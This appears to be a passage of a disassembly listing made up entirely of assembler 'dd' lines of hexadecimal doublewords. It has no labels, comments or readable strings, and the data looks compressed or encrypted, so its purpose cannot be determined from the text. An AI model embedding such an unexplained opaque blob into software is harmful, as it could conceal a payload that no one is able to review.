dd 0D33BC1FFh, 0DB88AC07h, 0C06C7C52h, 52F7B132h, 97900704h
dd 716A45D7h, 0EC1608BBh, 0AE0D5CFBh, 0E89B1B5Dh, 0F8BCBA21h
dd 0A881B5B3h, 62FD0800h, 0D03821CAh, 5DB8C6CBh, 1A380812h
dd 46DA0CFBh, 0C05FB8E2h, 21CBFC09h, 0FE7CA698h, 0F968D81Fh
dd 4989303Ch, 18FF2D5Ah, 40C445BAh, 0ECE1F3B7h, 0B0A12833h
dd 0FD908692h, 50084F22h, 28DA8432h, 3CC86F30h, 7A009C4Bh
dd 7B527FE7h, 9BE845E0h, 0EF4B63Eh, 83EB543Ah, 0C0EADF9Ah
dd 0C69DD7BAh, 189B1D40h, 763A3140h, 0EFFD8011h, 0CCF02D80h
dd 5A20A708h, 0D7D11441h, 0EE6003E2h, 3CFAE1h, 0CC8161DAh
dd 41591F48h, 0E5F509C4h, 7332D803h, 1447D9F2h, 567E9281h
dd 0F7006814h, 52140343h, 7D0115Bh, 5DB1BA9Bh, 0C407A485h
dd 0FF31189Dh, 0F84F645Ah, 3122D80Fh, 97644792h, 2AF80A2Eh
dd 1CFB033Ch, 3B9B5AE9h, 1371119h, 65212E70h, 0C86DE0E0h
dd 9B1E8230h, 0EB7B80F0h, 0F6549028h, 486490A5h, 0DD094034h
dd 5C00DF39h, 0D821F6F0h, 50318224h, 0DB408C2Bh, 60569D15h
dd 0EDB7A08Fh, 10A874F3h, 0C8222827h, 4C5715B9h, 3DA028D5h
dd 0F8498582h, 161571B4h, 0B0B853B8h, 241B332Ah, 94F40232h
dd 7B0980A0h, 48023991h, 0B48427A2h, 0F8548046h, 8C9CBE8h
dd 5D0082C0h, 1DC44029h, 3D10C3C6h, 301C69E5h, 9A09F9B9h
dd 0FD500777h, 0FA2402B9h, 7A0840FEh, 1081636Eh, 9AD8BFA9h
dd 0C9337A1h, 63A946C0h, 883D3E15h, 0A870379Eh, 0B1E96ACCh
dd 685B922Ch, 0DE0AB204h, 8C6932CCh, 0BA8ED705h, 0A8191023h
dd 98EE9E16h, 0BDF7020Ch, 32381DD6h, 12A4EC8Eh, 1D70DE0Dh
dd 181EB1BFh, 0E3813464h, 81381EC5h, 50622834h, 4D6E903Ch
dd 0C1E45036h, 0DF7FE6F3h, 4DB7A812h, 8C9AEC0Ah, 186808D0h
dd 0B81CF083h, 4C48AD57h, 367F154Ch, 0D3D1E088h, 3BE22821h
dd 77714A8h, 0C526F859h, 0F9FA0418h, 0C9B4C0F7h, 0A37456FEh
dd 0B3233B00h
dd 0F478E31Bh, 0EA3DEE1Ch, 4A2100B7h, 0A663413Fh, 220077CFh
dd 1C5CF3CDh, 0C932AEh, 0BA93CA33h, 0F7B2AF36h, 948028A5h
dd 5C8D2709h, 1F4A0025h, 0B2B44F2Eh, 0F3F8A031h, 57049A15h
dd 87A5C01Ch, 805B5452h, 0E57F95FFh, 8E59320Eh, 0E038B427h
dd 6099CE62h, 9BDFC17Fh, 7275AE91h, 0B2CB600Fh, 73272294h
dd 3C9682h, 53A5C5A6h, 0BF4A1F27h, 0F02B2A32h, 783896E7h
dd 60027C6Fh, 179F3028h, 73000981h, 0F2CB4C27h, 30B3D887h
dd 12C09972h, 55F238CEh, 6F9D903h, 0A3FA4053h, 0BC9F9A93h
dd 82FA0688h, 0D8B9F1BDh, 70417F07h, 5060B309h, 12592CBh
dd 0B590D1A5h, 0FC30D2EDh, 0F500D884h, 0F2B4534Fh, 3425BEA9h
dd 6CD00813h, 6A08FDD8h, 1D520BD8h, 0A02A945Fh, 91819846h
dd 5730973Fh, 385460D4h, 8A2472AFh, 0CE000C32h, 2DD0D255h
dd 10D5194Bh, 5A33E8C9h, 24020EA8h, 29450935h, 0B4778018h
dd 505373D2h, 127BFC0Ah, 7C2810D1h, 831F6620h, 0A2D3F8h
dd 52AE1081h, 70D2560Ah, 84A0BDFCh, 98780393h, 96545103h
dd 0C71D5310h, 95DE8240h, 72570550h, 3D3F2B3h, 7E2D15DCh
dd 0C5710810h, 0D24F5201h, 0F1852090h, 424ED5B5h, 0E9600BC0h
dd 0C365CEB0h, 8045DB28h, 0C80C69A3h, 48580978h, 7A1F08E8h
dd 98320A62h, 0D51200A0h, 9AB30CBCh, 0F00F4D76h, 85B454D1h
dd 0C80024A9h, 32AF5D8Ah, 0B4475052h, 3EC49239h, 0F2095A80h
dd 9403944Bh, 0D2E05CA5h, 609CB34h, 3D62033h, 12836A3Ch
dd 1EA8D8h, 7151370h, 1274EA33h, 57DAD34Ch, 6DBC80B4h
dd 40658CB0h, 50501C22h, 4D67ECFCh, 0D25034A8h, 907CE6F0h
dd 4BBF054Ch, 352B2B6h, 44A9D0C0h, 4C86D818h, 0EAE018h
dd 0C7291095h, 0B0851306h, 50288C90h, 1F61A067h, 4C645508h
dd 672C35E0h, 0C49D0FAh, 6B075BB8h, 85BD730Ah, 0C81AB143h
dd 0C01B3102h, 3E239108h, 0B6037187h, 92F10AA3h, 0D851C050h
dd 0F66700B9h, 0D6574FA9h, 36E84ED4h, 3E162840h, 963C559Ah
dd 176780FCh, 73F9BD00h, 90C88A86h, 79C30061h, 0B7859556h
dd 1F0E3BA1h, 7F7331DEh, 62AEDB01h, 68BAA7FAh, 0BD16F60Eh
dd 2885D6C5h, 0D6903320h, 781F8400h, 4AF659DEh, 773900C3h
dd 0D51A987Dh, 5A035EA4h, 3A64AA40h, 79901193h, 0B7551772h
dd 4C652C07h, 1C802CCAh, 0EBB6647Dh, 39DE0177h, 0D7510762h
dd 2190BCC4h, 94B4E0B0h, 38606C07h, 0E9DD19D0h, 56DA0367h
dd 86BA6362h, 475A479Fh, 0C980CEEAh, 0E71A6B45h, 3A6F9E06h
dd 0E0B888B5h, 9CAF3Ch, 7BE8ECEAh, 0DF1F4F1Eh, 9303BAF9h
dd 0A2BC095Ah, 0C50115DAh, 5132CB62h, 0FDD94080h, 4EFA6A1Ah
dd 79C2FE00h, 0B9C7C087h, 5F060D34h, 1450D49Ah, 5428289Ch
dd 15DF4711h, 8388B900h, 0A8368E48h, 9BFA980Ah, 3015E8EBh
dd 4333B024h, 5D120B1h, 0B8E8992Bh, 3C06DE0h, 4E291FBCh
dd 300415DFh, 0CC4AF1B0h, 4154220h, 628C6859h, 24B8683Ah
dd 311B651Eh, 4263960h, 0C2BCC6Ch, 0D27D93C4h, 9E001930h
dd 2EB9BC01h, 32BA67F0h, 0F770968Fh, 0D81A0840h, 0C1F96874h
dd 641420DEh, 59C79B07h, 0F9419A21h, 39E0ABC4h, 0E842578Fh
dd 0B1236080h, 0F9800688h, 0B9A40009h, 47FF5099h, 68C07F6Eh
dd 626DB5FAh, 78DB7B9Ah, 0F5CC005Ah, 0D406D9C1h, 6C1F99C8h
dd 0AD5268BEh, 893A0802h, 58E080A2h, 6F9C310h, 19C8DC90h
dd 0B91D10C1h, 79831833h, 265A40Bh, 9A647B38h, 0C4BC4281h
dd 3C12EAF2h, 0B002F476h, 0BC4346D9h, 0D8D904F4h, 83169D8Bh
dd 97A0B9F4h, 199059B6h, 0C8FA692Bh, 273D0840h, 9939CF01h
dd 6C007629h, 39C8559Eh, 0BC743A70h, 0DAA020F3h, 4500F871h
dd 94E45D6Eh, 14C3EBFAh, 98FD1A8Eh, 0EFB77A0Ah, 0AFAD07E4h
dd 0E021C35Eh, 5CECF026h, 0EC59438Ah, 68C3B700h, 1B4ABA0h
dd 0D1083FA9h, 0DC629FAEh, 163D600Bh, 57C007DBh, 0D50B0D9Ch
dd 0E880D281h, 0EC60F1C3h, 2F007AEh, 91D5FA00h, 0C00DCCBCh
dd 0D1293E82h, 792EFF01h, 0E7E3319Ch, 0AE1FCEE0h, 189EBF29h
dd 0ED91CD67h, 0A00033E3h, 754E092h, 23FE610h, 0E7860EF2h
dd 9DA70630h, 0B0CE0640h, 599F4007h, 6D610F0Eh, 30BDC02Bh
dd 68EBECh, 76AA54F6h, 0B4F4B89h, 0CDCB6D07h, 55F0675Ah
dd 0ACFD358Eh, 2C7A001Ch, 93B97E4Ah, 6340AB89h, 4554238Bh
dd 604F78C0h, 98940EC5h, 3F018B89h, 4B2F6B67h, 0C1890318h
dd 0A8A0C9h, 5D5F0411h, 907A4D7Bh, 0A41CDCB8h, 0D6FC8B0Eh
dd 1AA48024h, 18941EBh, 496B9065h, 0FB4B0E98h, 0F2AB8010h
dd 0B7E1AAF0h, 388A4931h, 8B014A4Bh, 743C0416h, 3BB80C9Bh
dd 0ABA8FCB6h, 0F3A1A401h, 0ED0D75F7h, 0A8B4C5D0h, 87F12B24h
dd 0EE2EAB81h, 8B002F37h, 0F307B638h, 0F20A5897h, 0B444DB42h
dd 0B49A067Ch, 404C677Bh, 0AF02EB70h, 5786CB0Eh, 587CA013h
dd 614B0FAAh, 23281156h, 2B4F0C12h, 60946C0Dh, 0EE5B3E1Eh
dd 15CB7A40h, 900DB4E7h, 2AE8C4C0h, 0A90099FFh, 0F271417Ah
dd 0F820D57Dh, 0CE803A52h, 9CD00E01h, 48A3F0BAh, 3F094118h
dd 0B23275h, 8416C8F7h, 0D02829CEh, 43DD6718h, 6108D296h
dd 20B61928h, 3760610h, 11575D60h, 0F1A34506h, 1460D8DBh
dd 4881C0E8h, 7CEF4205h, 0A607C010h, 9A035A28h, 80AF4CDAh
dd 271100A7h, 14D5E936h, 1F00E369h, 9D6185FFh, 1C2B5D48h
dd 3A236C7Dh, 790C2E0Fh, 7DA8B00h, 0EE5292DDh, 0AC348030h
dd 0D70738h, 0E07FE283h, 0B71D790Ah, 24E8DE7Bh, 801CEF52h
dd 75615F66h, 157767Eh, 9BE3417Dh, 0FC80A518h, 0B500FF78h
dd 0BCA2882Ch, 3CF884h, 76B9CDFEh, 7746C5FCh, 0F0135D80h
dd 53382C9Bh, 0BCB80A69h, 0D454591Ch, 220E4134h, 48BD662Dh
dd 0C70869FAh, 33EB581Ch, 630E3048h, 88659D38h, 8120D89Bh
dd 0A5C2138h, 18203C1Ch, 0FD71622Bh, 816B4008h, 70A76E74h
dd 406CED81h, 66FCD2CEh, 0F03A0EDDh, 6B8898E4h, 0F0592EF0h
dd 3D2440C4h, 0E4C93004h, 0A47C2758h, 0A8C60A0Ah, 1D00A867h
dd 78E4D527h, 8070AD1Ch, 0E6ED8C4Eh, 430C293Eh, 70DCE97Dh
dd 40CC6646h, 181010EAh, 7843D457h, 0A6BE7081h, 5DB984DFh
dd 4C0DDD77h, 4780F38h, 0C64D1443h, 61E1BD47h, 8AEFD8E4h
dd 7C6E5709h, 15F2BED0h, 0EC3B0C23h, 1838C47Dh, 0F07C108Dh
dd 144E27EDh, 0ECE447CAh, 0B07A483Fh, 9DEC8F12h, 6557827Ah
dd 5500E45Fh, 1D58EE9Eh, 1299392Fh, 0B82C0251h, 0F4BC6FECh
dd 0CEB36A05h, 0BC0605F5h, 249913Dh, 38ED1266h, 7CB46FCAh
dd 0DD984206h, 2885895h, 0EDFF7D1Dh, 7CB65618h, 36640B05h
dd 9803281Eh, 23EDAA7Dh, 35E082F8h, 546C907Eh, 1ABF0E4h
dd 813FBBEDh, 0FCBC417Bh, 2EEF83A1h, 227B0h, 0C49A5FB4h
dd 0FD8F6A20h, 0F89CE704h, 80BBA9F9h, 46E5C2D0h, 1BC80205h
dd 1C60F381h, 205BDBE1h, 0D910AC37h, 811DF53Ah, 0C7820CF6h
dd 905C210h, 2342793Bh, 36242Ch, 9EBB0DFDh, 0E539F887h
dd 8E38F76Eh, 0B4A28643h, 0C9822140h, 74A372E0h, 19C1C0F2h
dd 27B942Ah, 43C2EE40h, 3756C235h, 1EFDE350h, 0C5FF7938h
dd 6CA3C27Bh, 0EB08857Ch, 0FA2C576h, 7BE3A059h, 384334E2h
dd 0FBD1C074h, 0C2C08473h, 41E2B938h, 98065105h, 8740CDA2h
dd 62BC8174h, 7399699h, 90422655h, 9E793A68h, 8C730C74h
dd 0F939E3ACh, 22909350h, 82B2333h, 0C3F4F32Fh, 0A2CBA8B6h
dd 0FE480761h, 81C55AE2h
dd 1E0F502h, 0C2E0802Ah, 1F817C03h, 884922h, 12A93F42h
dd 0D2070535h, 0C46B43D5h, 88618023h, 82A4BBh, 0E2E6883Dh
dd 0ED62CB24h, 63A62F40h, 898A70CAh, 241E6029h, 96774A60h
dd 0C68140B4h, 6E42E840h, 9B8E98B0h, 4F0B08F8h, 562F501h
dd 73E3D72Dh, 0B4E2C08Ch, 0FD3E8220h, 38C314BFh, 0E6DBB034h
dd 20F64Ah, 4FA68822h, 54C2D9A1h, 1482E8C4h, 0E018A73Ch
dd 86390B1Ah, 0C0F2019Ah, 0D7BEBA02h, 2905A43h, 2F36A1A3h
dd 1866006Ah, 421DFE97h, 821C965Ah, 3FE23220h, 90B40348h
dd 108C363Ch, 46319BF4h, 8C416249h, 0C09EA2F8h, 17CA7C2h
dd 89EA3DE3h, 26408683h, 5688E292h, 8CC17C5Ch, 50B1AB9Ch
dd 680806F0h, 4503FF77h, 4942F4F8h, 0FD483048h, 97786288h
dd 0CC6818CAh, 92FF1E3Eh, 6C868203h, 8FABA2F5h, 0F80A8CE0h
dd 2E333302h, 312A71C0h, 7B1F8806h, 950CF54Eh, 0EBB65899h
dd 8918208Ch, 8C62F1E8h, 41B15210h, 3CF2AF54h, 7884102h
dd 6222F42h, 0C234C8CCh, 0E40DB071h, 0FDDD08F9h, 0E2D2E1E3h
dd 0DEB462F0h, 907E1818h, 0C8DF0B22h, 1F6D8A0Fh, 82082718h
dd 280A097h, 8E166E0h, 4230C8A0h, 7B2208AFh, 2418CC29h
dd 7132E228h, 821CD894h, 0A2D2A288h, 415142A0h, 0F88D8628h
dd 0D3709C02h, 2219E0FEh, 0B618B7ABh, 880818C7h, 6B38A865h
dd 1849A2E8h, 0B001F324h, 1D21237Fh, 0B5753D6h, 21001D4Bh
dd 6D7B1E8Eh, 0FA5A39h, 89C56984h, 320EDDh, 0F83547B0h
dd 6FB29CEFh, 7E956D00h, 2179CC8Dh, 9D100756h, 70B05836h
dd 0C7F03402h, 5EFF1115h, 9D9E8020h, 8086753Ah, 0F31FA0ECh
dd 9305056h, 374525D9h, 44487B70h, 0F6373CC6h, 577220A8h
dd 17338C1Dh, 0A6527080h, 0A5E33058h, 0C13C801Ch, 7FA4A577h
dd 70AC8D0Ch, 29DEC01Fh, 0E05C58A9h, 2C97774Bh, 64C5D40h
dd 0D057192Ah, 0B053383Ah, 6F698038h, 0C4F3D3DAh, 0FAB6C38h
dd 7003CA70h, 1025D5D0h, 56DAABh, 329CBD0Ch, 0C2897330h
dd 3404A408h, 0B80C749Eh, 7930634Ah, 0E860202Ch, 740F5E41h
dd 6102130Fh, 690A6AAh, 209EE4CCh, 59746501h, 5ACBF030h
dd 0F848BFE0h, 0EDA31D50h, 0E92F0E57h, 605F9086h, 668B888Dh
dd 0D9820CD0h, 0A08031ECh, 5E048448h, 0BF570688h, 0D1DC96h
dd 329F488Ch, 4531ACD0h, 0A9DD9015h, 6F25E0FCh, 0EC6A01F3h
dd 4ACDA78h, 0B078809Bh, 0DDD056F4h, 1F5A74CFh, 558B3D4h
dd 6D325E3Ah, 0F9BFC494h, 79665C03h, 0A0254CDAh, 6C9B045h
dd 18D0336Eh, 0E528D03Dh, 153A8C7Fh, 0C3100C81h, 7C2D2830h
dd 61BE8E6h, 7C7032A1h, 3E72D09Ah, 7EF05A0Eh, 400F9FD1h
dd 8D5002CEh, 0EEDCBC04h, 7DA21950h, 0F46CE030h, 701D3371h
dd 0BD3B84ECh, 4E0867A9h, 0FA1082AFh, 1D0056Fh, 0F2D9F0F0h
dd 440CD156h, 12A46CB6h, 9B03CC11h, 0F0D20C18h, 6B649C50h
dd 0D0044508h, 74F002E0h, 66E056Fh, 70C1B0F4h, 6825D034h
dd 0A6AF86Ch, 53E68B02h, 32C08B0h, 0DCCE300Ah, 24DF009h
dd 8E1E9000h, 456849Ch, 4E063C9Eh, 51E945A9h, 3070CC20h
dd 10485BD0h, 5A4294EEh, 91C1B446h, 10CD62CAh, 1D659DECh
dd 64A89033h, 0A0E715CCh, 0F43CD3F0h, 8C41DE61h, 70923EA0h
dd 0AB807C80h, 3920D26Ch, 3A413CACh, 7C8D9015h, 2CA013B3h
dd 5C9AFC01h, 0C1707556h, 0D2ED245Fh, 48746C10h, 4D50B53Ah
dd 0E5FEF038h, 6C1A2029h, 0B5460CA0h, 6C6B302Bh, 1AC11960h
dd 0B22C8817h, 0F0467D09h, 10180712h, 0C882D314h, 0F8A448C1h
dd 0C608C519h, 54B40618h, 0E21D2827h, 0DB0E4544h, 0D2B8922Bh
dd 62FDF040h, 2E8A102Fh, 0E38D2040h, 97486498h, 150378F8h
dd 7CB0561Ch, 2F90A006h, 0C010C41Bh, 0CA0CC38Dh, 805C0851h
dd 3EF15008h, 7438305Bh, 0D270183Ah, 0E5D7A036h, 4FF0570Eh
dd 530B9FECh, 0A80C01C2h, 0D05B3260h, 1D729505h, 0CC80400Ah
dd 0B046E655h, 87EFA37h, 70838167h, 50C1F495h, 10303901h
dd 505F4D54h, 487A8BE0h, 54375824h, 0ACE9188Ah, 4F47709h
dd 0C891A498h, 0E898F317h, 0DF100851h, 435094A0h, 0F0385498h
dd 1644BE78h, 7804D96Ah, 74814E6Fh, 36D25E05h, 207B7A75h
dd 0C4FCD944h, 9F8E10D0h, 2C9E0108h, 81EA751Ah, 0A4CAD061h
dd 749F5F88h, 838EBA02h, 59239518h, 370247Bh, 609423C8h
dd 0CE813F25h, 28D0F259h, 0F02CB837h, 0FD44B8B6h, 241A2C83h
dd 0F88448F9h, 7D1180F6h, 82188E0Ch, 9B6820F5h, 804940CAh
dd 3A79FEF8h, 0DC592AC5h, 50405A31h, 0D0088AB5h, 0E0FB844Eh
dd 401DF6E0h, 0A760CCF3h, 9C403038h, 0ADB0E3Dh, 3F203BAAh
dd 25A9F0B7h, 0FB3FB47Ch, 7BF72CBFh, 0C7E05600h, 182247Eh
dd 3D9A2B37h, 0D046BF1Bh, 9B63DEBBh, 0E0450E08h, 0A1C7893Bh
dd 58BA0BB6h, 6E31B21h, 18A48093h, 0D7821827h, 51BB9048h
dd 0BA984766h, 80EAE858h, 1A3A115Bh, 981F0F56h, 0C85EC659h
dd 5B33308h, 814A478h, 0B0383EBBh, 3E047919h, 82BC5CCDh
dd 9B681CB1h, 2843EFCFh, 0C0708354h, 11FEA24h, 9A484C97h
dd 36382198h, 31FF739Ch, 0B739D481h, 1ED9853Fh, 8C6C5895h
dd 70AE19B1h, 0A057391Fh, 6A006CA0h, 0A7FAEABCh, 121700Eh
dd 2F834D6Dh, 0DCD03863h, 0A0F08A18h, 674ECD00h, 0D40EA1F0h
dd 11CA5FDh, 9A8E156Ch, 0CE118077h, 1AE9445Bh, 2A4E0FDFh
dd 0AE462B6Eh, 8E4408C1h, 0EFC405EEh, 2CF04EA1h, 4A0D112Ch
dd 48418BFFh, 0A6CCAED9h, 2F5F03EEh, 346E8E20h, 10C2B6A7h
dd 670EA9FEh, 78084ED3h, 0F0D25A08h, 87BD036Eh, 8AF88EA7h
dd 8B6DAEA0h, 0B3012EF0h, 69CECDC0h, 2370D00Eh, 79C27868h
dd 47E0E99Dh, 1FAEF004h, 16CC6038h, 0E3EEA0CBh, 0EE0EBC74h
dd 86D01CB6h, 31B83A13h, 0A3083741h, 5D6EE03Ch, 55708960h
dd 292ECD95h, 0F0A4EF78h, 0D0B7A09Bh, 186A0001h, 0D165D8AAh
dd 9C7C96Eh, 2E8064F4h, 32C3E098h, 8E601CAEh, 1F641434h
dd 0CA182822h, 254EA8F3h, 0B1821CADh, 48896886h, 509A6A0Ch
dd 0AF3EA852h, 0F3CF8EE0h, 7060E646h, 24848A24h, 18C216F8h
dd 68D6B5CAh, 0DF1BBD2Ah, 0A2D9CEC3h, 347C1EF1h, 67577410h
dd 0EEF54A0Ah, 0EF66D068h, 843C722Ah, 0F0A0AFFEh, 68A4794Eh
dd 21C49300h, 4852E5C9h, 8E240097h, 0BF90E7ABh, 0E1004294h
dd 5F532D0h, 0ACB16FFh, 9C24B6E5h, 119EE01Ch, 1540B023h
dd 5C42081h, 0F43FCD03h, 1D621965h, 0C61E230h, 5082125h
dd 0C5184563h, 0F4111CEAh, 0D3A58A04h, 15625834h, 5CD83Fh
dd 0B7A14291h, 2005F42Bh, 50870439h, 0A15F1903h, 41D90138h
dd 5F68792h, 9C2502FEh, 442F0438h, 69DD284h, 31386E61h
dd 65E0D925h, 1E8C5FFEh, 0D798F2DEh, 2030141h, 73E5FB8Ch
dd 749ECB15h, 8F31330Dh, 0B3FB3908h, 0E62014AEh, 861498ADh
dd 7E3EA4B1h, 0E850ED40h, 7867FC80h, 821F6320h, 55DE3A5h
dd 1DB41EA4h, 84E12040h, 5EDC4508h, 1A37B683h, 80EE558h
dd 0CABDC05h, 9B091CACh, 8A76D0A9h, 60165021h, 22EEC8D0h
dd 0C131C725h, 7165F8A0h, 6BD0D807h, 40397CF7h, 39C8E14Bh
dd 60B4A3C5h, 3C7DE36Bh, 77813E40h, 12D8C66Fh, 4363C092h
dd 12FD8548h, 47CB2508h, 4F31A850h, 0D8680F0Ah, 510AE0Eh
dd 0A10A3772h, 1AA8085Eh, 3CB63868h, 917F2C3Fh, 0B831BD07h
dd 5359A598h, 8786988h, 7599FE64h, 3B803087h, 0FFE5F534h
dd 3002985Fh, 3C73E334h
dd 80BC6100h, 728523C9h, 0EE3E2DE0h, 0D1944101h, 0C34827D6h
dd 0D996F6E7h, 0CA0094B3h, 0C52BC878h, 0CDE08052h, 0DDCCC1B3h
dd 4DF5369h, 8149C528h, 200F4550h, 7742544h, 815E9980h
dd 5203F290h, 6B102478h, 87F3F8D4h, 3EE9A110h, 96F8E10Ch
dd 0B35018A0h, 7092E588h, 7C9C2F48h, 25C45F50h, 600509CDh
dd 1004981Fh, 54041C2h, 7C6C0D81h, 0B03C0C4Fh, 11115171h
dd 7DFE6700h, 81702041h, 0A09862BBh, 404AE6Ch, 2846409Fh
dd 3AC7900h, 57CE85ABh, 58BA2D30h, 7B8FAFA1h, 0E6672605h
dd 0DD450C08h, 0FA787708h, 0E4662502h, 0F3D85F6h, 0DB7C5C8Ah
dd 55EB81Eh, 410434E9h, 4A008D86h, 0AA45F4FBh, 9EA560C3h
dd 60C5C02Ch, 30F67CE2h, 9170F58Dh, 251DF054h, 183E4F5Ch
dd 0C7104D2Eh, 5F115BCh, 0F0F6F064h, 205C4B11h, 0F9E66181h
dd 0BA202105h, 8F8390F0h, 6E998832h, 0B4068A0Fh, 68ACC51Fh
dd 65A07B98h, 8876347h, 0B81F3FC3h, 0E500DD2Dh, 5FA57EEh
dd 843669Ch, 651F108Dh, 85041023h, 0D0811B84h, 0D820F66Eh
dd 0E8E16F67h, 28862F49h, 0E5191875h, 0A01019DBh, 4D858041h
dd 94F0BE61h, 44F14CB9h, 5000186Fh, 0A0A5F7BCh, 0C8E82C93h
dd 0E2DA6E08h, 0FC84FD01h, 8E5527E5h, 0FA61C806h, 10F54011h
dd 2A389C48h, 9933841Ch, 74DA182Bh, 404F2810h, 4A983284h
dd 888F13A0h, 0FA585C83h, 943E29A1h, 0F888408h, 8542A785h
dd 80066525h, 20F0BE05h, 0A50E37E5h, 8AF1BAC2h, 0A394F8BDh
dd 0A4650980h, 0C6040451h, 68850081h, 0D48027h, 50786324h
dd 9265D121h, 0F849A3B0h, 80A826FCh, 0A6E534D8h, 0DFB082D0h
dd 0C90DF486h, 0C041AE31h, 7C073E39h, 650E5C8h, 0B73265DCh
dd 235DC816h, 500F2A36h, 84F1A712h, 9C8A15B5h, 70DBEE84h
dd 844F0C1h, 0F9B045FAh, 4C487820h, 22EBAC80h, 0A5408574h
dd 0C8E462E1h, 0F4825545h, 0A8A41DE5h, 0C2248A96h, 90867D3Eh
dd 0A0A68128h, 485085A4h, 0CB14101Ch, 0BBA8CC15h, 9242653h
dd 3E50FA1h, 26E8BCBCh, 3CC4CC98h, 0F8C43328h, 0B01A5091h
dd 6508C59Fh, 2B44C3Fh, 98620508h, 4919C5C8h, 54323394h
dd 9727EB0h, 417E44A4h, 0CB62ACA5h, 6160982Eh, 98904C63h
dd 7247124h, 8A02B565h, 0CAAEF8A8h, 113F546h, 0E51F048Eh
dd 0C5708A69h, 44302DF3h, 9039C421h, 38E14868h, 9F53F6ACh
dd 0B5C11240h, 30C5C002h, 3F4C054Fh, 6201288h, 841D3409h
dd 8B876504h, 9EC2543h, 15E20508h, 0FE053415h, 2821F594h
dd 4060C181h, 49D06445h, 25388147h, 2945F32h, 0D69DE1A1h
dd 0AE344806h, 8990CEF7h, 30E35079h, 0DD51A5CCh, 2981BD8h
dd 366DBBC0h, 0DC144905h, 6D39D9B4h, 2B95CC90h, 248C0B7Bh
dd 0FB10DD61h, 0F153707Fh, 0FB011C1Ch, 0C478B6A5h, 77E43B70h
dd 0B03C6F79h, 205A8570h, 15C1178Ch, 50A2FC7Eh, 7858C5C8h
dd 0E0A51584h, 0E46226C0h, 0A3BDE50Bh, 0E1A08210h, 1C27F385h
dd 0E17BA8D8h, 50A34D84h, 65701D30h, 574FCD5h, 0B0556C28h
dd 8B60686Eh, 0AA340FB4h, 6DF868A1h, 61C5845Dh, 0C14B81h
dd 6495E5h, 0C2D2F116h, 0E744C3B4h, 0C5F0024Bh, 48F85072h
dd 850888DAh, 0F2164E36h, 3E2EC849h, 0E3E0C864h, 0B8D8A150h
dd 48FAE284h, 0BA77D438h, 0F7183220h, 9CBEA308h, 1FDD8C2h
dd 94413086h, 0B8E28E40h, 0D4653738h, 0AC3E97D8h, 9CA271E0h
dd 0D424D442h, 79A8D132h, 0D6D09A4Fh, 0B7863E8h, 53DD0510h
dd 7D88B805h, 87052B4h, 0A8617498h, 0B9C5B4A0h, 289C0D58h
dd 2514B059h, 28AC064Eh, 0C519B0D7h, 0D9109D18h, 93889464h
dd 880E8E8h, 1E2044Dh, 2518408Ch, 28F0BA03h, 54B491A1h
dd 582AF864h, 0F313FC94h, 3810828Bh, 354484C0h, 0EB2B08C4h
dd 0A1822CC1h, 5AE9092h, 0C1416510h, 4476A510h, 6688588h
dd 0D007C500h, 1890057Bh, 58814512h, 1893CC0Ch, 464F165h
dd 0E498927Ah, 63389029h, 0A0E508F7h, 34C5202Eh, 0DD142586h
dd 0D4CB5048h, 0E5564065h, 749CB05Ch, 4443462Eh, 4019DA17h
dd 8924238h, 0E88C4C1Eh, 0F24A6568h, 93F3008h, 0C182D145h
dd 0F8829EC5h, 7860F305h, 8C28985h, 6193AE5h, 653028E8h
dd 0E7851084h, 9C18C92Fh, 47093841h, 1107C680h, 62452D40h
dd 0EA250808h, 0E0786502h, 0BA4F057Ch, 93664DCh, 83901A5Ch
dd 0E068E534h, 7757A0Ah, 305A0BF8h, 3BCD8F90h, 8DE3D010h
dd 8062F1F1h, 559E9A08h, 3251A31h, 57486663h, 0C1E03360h
dd 0D9006D87h, 9651D4DBh, 0AD0DB2h, 8A5F30E2h, 0FF26B3D6h
dd 77103A1Ch, 82B51C3Ah, 61165A0Ch, 0E6A0624h, 207D2D1Ah
dd 8804530h, 1D0F55B4h, 76E43BAh, 8259CADAh, 3A00A47Ah
dd 300CC798h, 9A1091FAh, 8CC5823h, 6DDA3879h, 9C70102Fh
dd 871BA28h, 3087FD7Ah, 415475FAh, 4392101Ah, 818E084h
dd 0EA117C5Ah, 74FAF893h, 8EF280D1h, 880220D2h, 9E40DA31h
dd 0FA530484h, 6015B6CFh, 7383B76h, 24F5DAFFh, 0F3004E0Eh
dd 0EED85A33h, 0E60808C0h, 40E41A0Bh, 21656AE7h, 880356B8h
dd 8181DC7Ah, 8A8F49Ah, 19C8DD26h, 99DC099Eh, 9AA1DAA8h
dd 0F910D45Eh, 43588BAh, 0C0C37F96h, 0FFCC864Ah, 25A15A03h
dd 0E9D7A0Eh, 0ED36FAA8h, 65881A89h, 8B6700B0h, 96BC7A0Bh
dd 0E05E98CAh, 104FFA0Ch, 0A8D1605Ah, 0C35037Ah, 0D3746BF0h
dd 0A0F81A37h, 27F1A08Ah, 36A18F0Dh, 6788D98Fh, 6CBA0880h
dd 64DA0C1Eh, 3A382374h, 2C0EA941h, 4721F8ECh, 0E956008Ch
dd 31DA32D7h, 0E90E723Ah, 0DCC07427h, 0C2264A7Bh, 0D8BB11C0h
dd 0A9D757F9h, 1027C7F4h, 145FFAC0h, 4550725Ah, 5CAD4CBCh
dd 9E5EFE81h, 84523A97h, 81509D8Bh, 0F007F870h, 0F670898Ch
dd 6103E88h, 93E265C4h, 16457036h, 0F51F680Fh, 0A8D28808h
dd 50E9B60Ah, 395B0076h, 0CBEB2F43h, 54EA568Bh, 20851092h
dd 0B0AB7E60h, 95B619Ah, 850BF738h, 0DBF3F810h, 85031006h
dd 30060029h, 0FFB8EBC7h, 6900E5B2h, 29E3CF52h, 73359BB9h
dd 0ED28A05Eh, 700C0032h, 0A8B16394h, 3E308AD4h, 89F680Eh
dd 75B707Bh, 684BC849h, 6FB000F0h, 96902558h, 5F00B7F2h
dd 0E4BCF571h, 0F30B1Fh, 6B1C6E70h, 0C3B4D0E3h, 0DBF4C80Fh
dd 0FB7F20DEh, 0D84B72h, 5E03C5C6h, 1059499Ah, 211CD909h
dd 2530007Dh, 1206E9Dh, 97463FC5h, 0C4F493B2h, 3A00FC80h
dd 0BEFEB78Eh, 7942C47h, 0B12E4FB9h, 87D2D0DCh, 8224FA76h
dd 9600A215h, 31367B30h, 744800CBh, 89A07DB3h, 7E0FDCFBh
dd 204EFA29h, 318F43C1h, 6A14003Bh, 0AFB9E0E6h, 0B6002D01h
dd 4424F4E7h, 30EB165h, 48648FDFh, 0FBE06710h, 0A003C155h
dd 57DA81FEh, 2165F89Dh, 9E2800E5h, 1A20A7FFh, 8E0323AEh
